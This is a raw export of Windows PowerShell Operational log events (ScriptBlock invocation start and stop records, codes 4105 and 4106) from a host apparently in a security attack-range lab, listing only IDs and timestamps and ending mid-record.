LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036409
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036404
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036403
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036381
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036380
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036379
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036378
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036362
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036361
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
